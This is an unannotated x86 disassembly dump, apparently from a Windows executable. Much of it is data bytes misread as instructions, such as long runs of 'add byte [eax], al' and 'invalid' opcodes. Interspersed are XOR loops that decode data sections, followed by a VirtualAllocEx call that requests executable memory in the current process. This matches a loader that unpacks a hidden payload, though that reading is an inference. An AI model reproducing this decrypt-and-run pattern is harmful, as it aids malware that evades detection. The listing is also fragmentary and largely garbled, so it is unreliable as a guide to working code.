add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebp + 0x5d], bl
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
pop ebp
pop ebp
pop ebp
jbe 0x4084ba
pop eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
pop ebp
jns 0x4084d8
jbe 0x4084da
dec ebp
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
jbe 0x4084fa
jbe 0x4084f9
jbe 0x4084d2
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
pop ebp
pop ebp
pop ebp
jbe 0x40851a
pop eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
pop ebp
pop ebp
add byte [eax], al
add byte [eax], al
add byte [ebp + 0x5d], bl
pop ebp
jbe 0x40853a
dec ebp
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
jbe 0x40853e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi + 0x5d], dh
pop ebp
jbe 0x40855a
dec edi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
pop ebp
pop ebp
add byte [eax], al
add byte [eax], al
add byte [ebp + 0x5d], bl
pop ebp
jbe 0x40857a
pop eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
jbe 0x40859a
add byte [eax], al
add byte [eax], al
add byte [esi + 0x79], dh
pop ebp
jbe 0x40859a
pop edi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
pop ebp
pop ebp
add byte [eax], al
add byte [eax], al
add byte [ebp + 0x5d], bl
pop ebp
jbe 0x4085ba
pop eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
pop ebp
jns 0x4085d8
add byte [eax], al
add byte [eax], al
add byte [ebp + 0x79], bl
jbe 0x4085d9
jbe 0x4085da
jbe 0x4085b2
dec ebp
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
jbe 0x4085fa
add byte [eax], al
add byte [eax], al
add byte [esi + 0x79], dh
jbe 0x4085f9
jbe 0x4085d2
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
pop ebp
pop ebp
add byte [eax], al
add byte [eax], al
add byte [ebp + 0x5d], bl
pop ebp
jbe 0x40861a
pop eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
pop ebp
pop ebp
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebp + 0x5d], bl
pop ebp
jbe 0x40863a
dec ebp
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
jbe 0x40863e
add byte [eax], al
add byte [eax], al
add byte [esi + 0x5d], dh
pop ebp
jbe 0x40865a
pop edi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
pop ebp
pop ebp
add byte [eax], al
add byte [eax], al
add byte [ebp + 0x5d], bl
pop ebp
jbe 0x40867a
dec esp
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
jbe 0x40869a
add byte [eax], al
add byte [eax], al
add byte [esi + 0x79], dh
pop ebp
jbe 0x40869a
dec ebp
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
pop ebp
pop ebp
add byte [eax], al
add byte [eax], al
add byte [ebp + 0x5d], bl
pop ebp
jbe 0x4086ba
pop eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
pop ebp
jns 0x4086d8
add byte [eax], al
add byte [eax], al
add byte [ebp + 0x79], bl
jbe 0x4086d9
jbe 0x4086da
jbe 0x4086b2
dec ebp
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
jbe 0x4086fa
add byte [eax], al
add byte [eax], al
add byte [esi + 0x79], dh
jbe 0x4086f9
jbe 0x4086d2
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
pop ebp
pop ebp
add byte [eax], al
add byte [eax], al
add byte [ebp + 0x5d], bl
pop ebp
jbe 0x40871a
pop eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], ch
add byte [eax], al
add byte [eax + 0x10000005], dl
add byte [eax], al
add byte [ecx], al
add byte [eax], cl
add byte [eax], al
add byte [eax], al
add byte [edx], al
pop ecx
add byte [eax], al
adc cl, byte [ebx]
add byte [eax], al
add byte [eax], al
add byte [eax], al
sub byte [eax], al
add byte [eax], al
nop
add eax, 0x100000
add byte [eax], al
add dword [eax], eax
or byte [eax], al
add byte [eax], al
add byte [eax], al
add bl, byte [ecx]
add byte [edx], dl
or eax, dword [eax]
add byte [edx], dl
or eax, dword [eax]
add byte [eax], al
add byte [eax], al
adc cl, byte [ebx]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add bh, bh
add bh, bh
add bh, bh
invalid
add byte [eax], al
add byte [eax], al
inc dword [eax]
inc dword [eax]
invalid
add byte [ebx], bh
cmp dword [ebp - 0x4abdbd00], edi
cmp edi, dword [ecx]
mov ebp, 0xb5424300
add byte [ebx + 0x49], cl
les eax, [eax]
push esp
push ebx
mov byte [eax], 0x5d
pop esp
retf 0x6600
inc esi
and byte [eax - 0x52f2c100], ch
add byte [ebx + 0x18], cl
mov edi, 0xd9aad500
add byte [esi + esi + 0x65], ah
add dl, cl
cdq
retf 0x2c00
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x70], 0
jmp 0x4089ec
mov edx, dword [ebp - 0x70]
add edx, 1
mov dword [ebp - 0x70], edx
cmp dword [ebp - 0x70], 0x1a87ce
jge 0x408a36
mov eax, dword [ebp - 0x70]
movzx ebx, byte [eax + section..data]
mov ecx, dword [ebp - 0x64]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00413fa0
movzx edx, word [eax]
xor ebx, edx
mov eax, dword [ebp - 0x70]
mov byte [eax + section..data], bl
mov ecx, dword [ebp - 0x64]
add ecx, 1
mov dword [ebp - 0x64], ecx
mov edx, dword [ebp - 0x64]
cmp edx, dword [ebp - 0x84]
jl 0x408a34
mov dword [ebp - 0x64], 0
jmp 0x4089e3
mov dword [ebp - 0x98], str._t_5_UYjUks
mov dword [ebp - 0x7c], 0x1a7a7b
movzx eax, byte [0x6165cc]
test eax, eax
je 0x4091f6
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], cl
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
loopne 0x408b0b
pop edi
adc byte es:[edi + ebx*2], ah
add al, byte es:[eax]
add byte [eax], al
push edx
push ebx
inc esp
push ebx
bound edx, qword [ebx + 0xeb7245e]
lcall 0xceea, 0xaebb8b4e
fild qword [esi + 0x1b2]
add byte [ebx + 0x61], ah
jo 0x408b2a
xor dh, byte [eax]
xor esi, dword [edx]
jo 0x408b2c
bound eax, qword [eax]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add al, ch
push ebx
add byte [eax], al
and byte [esi], bl
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
mov edi, edi
push ebp
mov ebp, esp
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx - 0x1374aa01], cl
push esi
mov esi, dword [ebp + 0xc]
jmp 0x408b25
cmp eax, dword [ebp + 8]
je 0x408b2b
add esi, 8
mov eax, dword [esi]
test eax, eax
jne 0x408b1d
cmp dword [esi], 0
cmp dword [esi], 0
add byte ds:[ebp + 0x23], dh
jne 0x408b53
cmp dword [0x265f70a0], 0xffffffff
je 0x408b53
push dword [ebp + 8]
push 0x11a
push 0x265f113c
push 0x265f111c
call fcn.0040aa79
add esp, 0x10
mov eax, dword [esi + 4]
pop esi
pop ebp
ret 8
mov dword [ebp - 0x64], 0
movzx ecx, byte [0x6165cc]
test ecx, ecx
je 0x40a317
sbb al, byte [eax]
add byte [eax - 0x75], cl
test byte [eax + edx*4], ah
add byte [eax], al
add byte [eax - 0x77], cl
add eax, 0x1b6c
mov dword [0x1a42], 0xc0000409
mov dword [0x1a3c], 1
dec eax
mov eax, dword [0x1711]
dec eax
mov dword [esp + 0x68], eax
dec eax
mov eax, dword [0x170d]
dec eax
mov dword [esp + 0x70], eax
xor ecx, ecx
call dword [0xffffb738]
dec eax
lea ecx, [0xffffb819]
call dword [0xffffb66b]
call dword [0xffffb66d]
mov edx, 0xc0000409
dec eax
mov ecx, eax
call dword [0xffffb667]
dec eax
add esp, 0x88
ret
mov dword [ebp - 0x74], 0
jmp 0x40a329
mov edx, dword [ebp - 0x74]
add edx, 1
mov dword [ebp - 0x74], edx
mov eax, dword [ebp - 0x74]
cmp eax, dword [0x6149b4]
jge 0x40a375
mov ecx, dword [ebp - 0x74]
movsx ebx, byte [ecx + 0x614810]
mov edx, dword [ebp - 0x64]
push edx
lea ecx, [ebp - 0x40]
call fcn.00413fa0
movzx eax, word [eax]
xor ebx, eax
mov ecx, dword [ebp - 0x74]
mov byte [ecx + 0x614810], bl
mov edx, dword [ebp - 0x64]
add edx, 1
mov dword [ebp - 0x64], edx
mov eax, dword [ebp - 0x64]
cmp eax, dword [ebp - 0x84]
jl 0x40a373
mov dword [ebp - 0x64], 0
jmp 0x40a320
mov dword [ebp - 0x64], 0
movzx ecx, byte [0x6165cc]
test ecx, ecx
je 0x40ad7d
xchg edx, eax
lea ecx, [ebp - 0x6d72726e]
lea ecx, [ebp - 0x6d72726e]
lea ecx, [ebp - 0x6d72726e]
lea ecx, [ebp - 0x6d72726e]
lea ecx, [ebp - 0x6d72726e]
lea ecx, [ebp - 0x6d72726e]
lea ecx, [ebp - 0x6d72726e]
lea ecx, [ebp - 0x6d72726e]
lea ecx, [ebp - 0x6770706c]
xchg ebx, eax
xchg ebx, eax
mov al, byte [0xa4a89b9b]
movsb byte es:[edi], byte [esi]
stosb byte es:[edi], al
cmpsb byte [esi], byte es:[edi]
cmpsb byte [esi], byte es:[edi]
sahf
lcall 0x8487, 0x8b8c9099
test byte [eax + eax*4 + 0x7e7f8280], al
cmp dword [esi + 0x7c], 0x7978797c
jbe 0x40a457
pop esp
pop eax
push esi
imul esp, dword [edi + 0x65], 0x6c
push 0x65666a65
push 0x63686364
arpl word [edi + 0x62], sp
bound esp, qword [edi + 0x62]
bound esp, qword [edi + 0x62]
bound esp, qword [edi + 0x62]
bound esp, qword [edi + 0x62]
bound eax, qword [ebp + 0x42]
inc edx
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], al
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
aas
add byte [eax - 0x7f7fff80], al
add byte [eax - 0x7f7fff80], al
add byte [eax - 0x7f7fff80], al
add byte [eax - 0x7f7fff80], al
add byte [eax + 0x3f800080], al
cmp edi, dword [ecx]
push eax
dec ecx
inc ebp
pop ebp
push ebp
push ecx
pop ebp
push ebp
push ecx
pop ebp
push ebp
push eax
pop ebp
push ebp
push eax
pop ebp
push ebp
push eax
pop esp
push ebp
push ecx
push edi
push eax
dec ebx
inc eax
cmp dh, byte [edi]
inc esi
inc ecx
cmp eax, 0x4a40454c
inc ebp
aas
dec eax
inc ebx
inc edi
inc ecx
cmp eax, 0x463b3e45
aas
cmp ecx, dword [ebx + 0x44]
inc eax
push edx
dec ebx
inc edi
pop edx
push ebx
dec ebp
pop esp
push esp
dec esi
pop ebx
push ebx
dec esi
pop ebx
push ebx
dec edi
pop ebx
push ebx
dec esi
pop ebx
push edx
dec esi
pop ebx
push ebx
dec esi
pop ebx
push ebx
dec esi
pop ebx
push edx
dec ebp
pop edx
push edx
dec ebp
pop edx
push edx
dec ebp
pop ecx
push edx
dec ebp
pop edx
push edx
dec ebp
pop ecx
push edx
dec ebp
pop ecx
push ecx
dec ebp
pop ecx
push ecx
dec ebp
pop ecx
push ecx
dec ebp
pop ecx
push ecx
dec ebp
pop ecx
push ecx
dec ebp
pop ecx
push ecx
dec ebp
push edi
push eax
dec esp
push edi
dec edi
dec ebx
push esi
dec edi
dec ebx
push ebp
dec ebp
dec ecx
push esp
dec ebp
dec ecx
push ebx
dec ebx
dec ecx
push ebx
dec esp
dec eax
push edx
dec edx
inc edi
push ecx
dec edx
inc esi
dec edi
dec ecx
inc ebp
dec edi
dec eax
inc esp
dec esi
inc esi
inc ebx
push eax
dec ecx
inc ebp
push esi
dec edi
dec ebx
pop edi
pop eax
push ebx
pop ebp
pop eax
pop si
pop ecx
pop esp
pop eax
pushal
push edi
push ebx
pop esp
push ebx
dec edi
pop eax
push eax
dec ebx
pop ebp
push edi
push edx
je 0x40a59a
imul eax, dword [ebp - 0x6d687f7f], 0xffffff92
cwde
xchg esp, eax
xchg ebx, eax
xchg edi, eax
xchg edx, eax
xchg edx, eax
xchg ebp, eax
nop
nop
xchg esp, eax
invalid
xchg edx, eax
lea ecx, [ebp - 0x6770706c]
xchg ebx, eax
xchg ebx, eax
lahf
wait
wait
test al, 0xa4
movsb byte es:[edi], byte [esi]
stosb byte es:[edi], al
cmpsb byte [esi], byte es:[edi]
cmpsb byte [esi], byte es:[edi]
sahf
wait
wait
nop
mov word [edi + eax*4 + 0x7f848384], cs
jg 0x40a53c
cmp byte [esi - 0x7b], 0x82
and dword [esi + 0x63], 0x65686b61
outsb dx, byte [esi]
push 0x68
insd dword es:[edi], dx
imul esp, dword [edi + 0x6c], 0x666a6568
push 0x63686364
arpl word [edi + 0x62], sp
bound esp, qword [edi + 0x62]
bound esp, qword [edi + 0x62]
bound esp, qword [edi + 0x62]
bound eax, qword [ebx + 0x3f]
aas
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], al
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
cmp dword [0x494d5434], esi
pop ebp
push ebp
push ecx
pop ebp
push ebp
push eax
pop ebp
push ebp
push ecx
pop ebp
push ebp
push ecx
pop ebp
push ebp
push eax
pop ebp
push ebp
push eax
push esp
dec ebp
dec eax
cmp byte ds:[ebx + eax*2], dh
cmp al, 0x3a
inc ebp
inc eax
cmp al, 0x44
aas
cmp al, byte [edi + 0x41]
cmp al, 0x4e
inc edi
inc ebx
push esi
dec esi
dec ecx
pop ebx
push esp
dec edi
pop esp
push esp
dec edi
pop esp
push esp
dec edi
pop esp
push esp
dec edi
pop ebx
push esp
dec edi
pop ebx
push esp
dec esi
pop ebx
push ebx
dec edi
pop ebx
push ebx
dec esi
pop ebx
push ebx
dec esi
pop ebx
push ebx
dec esi
pop edx
push edx
dec esi
pop edx
push ebx
dec ebp
pop edx
push edx
dec ebp
pop ecx
push ebx
dec ebp
pop edx
push edx
dec ebp
pop ecx
push edx
dec ebp
pop ecx
push edx
dec ebp
pop ecx
push edx
dec ebp
pop ecx
push ecx
dec ebp
push edi
push eax
dec esp
push edi
push eax
dec esp
pop eax
push eax
dec esp
push esi
dec edi
dec esp
push ebp
dec ebp
dec edx
push esp
dec ebp
dec edx
push esp
dec esp
dec ecx
push ebx
dec ebx
dec ecx
push ecx
dec ebx
inc edi
push ecx
dec edx
inc esi
push eax
dec eax
inc ebp
dec edi
inc edi
inc esp
dec ebp
inc esi
inc ebx
push esp
dec esp
dec eax
pop esi
push esi
push edx
pop esp
push edi
pushal
pop ebx
pop esi
pop ecx
pop ebx
push esi
pop esi
push esi
push edx
pop ebx
push ebx
dec edi
pop edx
push edx
dec esi
insb byte es:[edi], dx
arpl word gs:[esi + 0x79], di
ja 0x40a693
mov word [ebx - 0x686b6a67], cs
xchg ebx, eax
xchg edx, eax
xchg esi, eax
xchg ecx, eax
xchg ecx, eax
xchg ebp, eax
nop
nop
xchg esp, eax
invalid
add byte [eax], 0x80
add byte [eax], 0x80
add byte [eax], 0x80
add bh, 0x45
mov byte [eax], al
add byte [eax], al
add bl, ch
or dword [ebx - 0x3d7c77ab], ecx
add dword [ecx + 0x458b8855], ecx
mov byte [ebx], bh
add eax, 0x615af8
mov dword [ebp - 0x78], 0
jmp 0x40ad8f
mov edx, dword [ebp - 0x78]
add edx, 1
mov dword [ebp - 0x78], edx
mov eax, dword [ebp - 0x78]
cmp eax, dword [0x615af8]
jge 0x40addb
mov ecx, dword [ebp - 0x78]
movsx ebx, byte [ecx + 0x6149b8]
mov edx, dword [ebp - 0x64]
push edx
lea ecx, [ebp - 0x40]
call fcn.00413fa0
movzx eax, word [eax]
xor ebx, eax
mov ecx, dword [ebp - 0x78]
mov byte [ecx + 0x6149b8], bl
mov edx, dword [ebp - 0x64]
add edx, 1
mov dword [ebp - 0x64], edx
mov eax, dword [ebp - 0x64]
cmp eax, dword [ebp - 0x84]
jl 0x40add9
mov dword [ebp - 0x64], 0
jmp 0x40ad86
movzx ecx, byte [0x6165cc]
test ecx, ecx
je 0x40bf1e
call ebp
test eax, eax
je 0x40ad73
mov edx, dword [esp + 0x10]
mov eax, dword [esi - 0xc]
mov ecx, dword [edx - 0xc]
cmp eax, ecx
jge 0x40afb3
add eax, 1
js 0x40ae28
cmp eax, ecx
jge 0x40ae28
lea ecx, [edx + eax*2]
push 0x5c
push ecx
call fcn.00457314
add esp, 8
test eax, eax
je 0x40ae28
sub eax, dword [esp + 0x10]
sar eax, 1
cmp eax, 1
jge 0x40ae99
lea edx, [esp + 0x10]
push edx
lea ecx, [esp + 0x18]
call 0x40a310
jmp 0x40aedc
lea eax, [esi - 0x10]
or edx, 0xffffffff
lea ecx, [eax + 0xc]
mov byte [esp + 0x2c], 0
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40ae5c
mov ecx, dword [eax]
push eax
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x18]
call fcn.00409b30
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x30], 3
call 0x40a310
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
mov byte [esp + 0x2c], 1
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40aedc
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov esi, dword [esp + 0x14]
push 0
push esi
call ebp
test eax, eax
jne 0x40afa1
push ecx
lea eax, [esi - 0x10]
mov dword [esp + 0x24], esp
mov edi, esp
push eax
call fcn.00409a10
lea ecx, [esp + 0x20]
add esp, 4
add eax, 0x10
push ecx
mov dword [edi], eax
call fcn.0040a8d0
add esp, 8
mov edx, dword [esp + 0x18]
cmp dword [edx - 0xc], 0xf8
mov byte [esp + 0x2c], 4
jl 0x40af34
push 0x1007075c
push 0
lea ecx, [esp + 0x20]
call fcn.00409d10
mov eax, dword [esp + 0x18]
push 0
push eax
call ebp
test eax, eax
jne 0x40af7c
call dword [0x1007016c]
or edx, 0xffffffff
cmp eax, 0xb7
mov eax, dword [esp + 0x18]
mov byte [esp + 0x2c], 1
je 0x40af88
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40ae3b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
jmp 0x40ae3b
mov eax, dword [esp + 0x18]
mov byte [esp + 0x2c], 1
or edx, 0xffffffff
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40afa1
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov edx, dword [esp + 0x10]
mov eax, dword [esi - 0xc]
mov ecx, dword [edx - 0xc]
cmp eax, ecx
jl 0x40ae02
lea eax, [esi - 0x10]
mov byte [esp + 0x2c], 0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40afd4
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
or edx, 0xffffffff
lea ecx, [eax + 0xc]
mov dword [esp + 0x2c], edx
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40aff8
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 1
mov ecx, dword [esp + 0x24]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
add esp, 0x20
ret
push 0x40
push 0x3000
mov edx, dword [0x6149b4]
add edx, dword [0x615af8]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x68], eax
movzx eax, byte [0x6165cc]
test eax, eax
je 0x40cc65
add byte [eax], al
adc byte [eax], al
add byte [eax], al
nop
adc byte [eax], al
add byte [ebx + 5], dh
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
and byte [eax], al
add al, dh
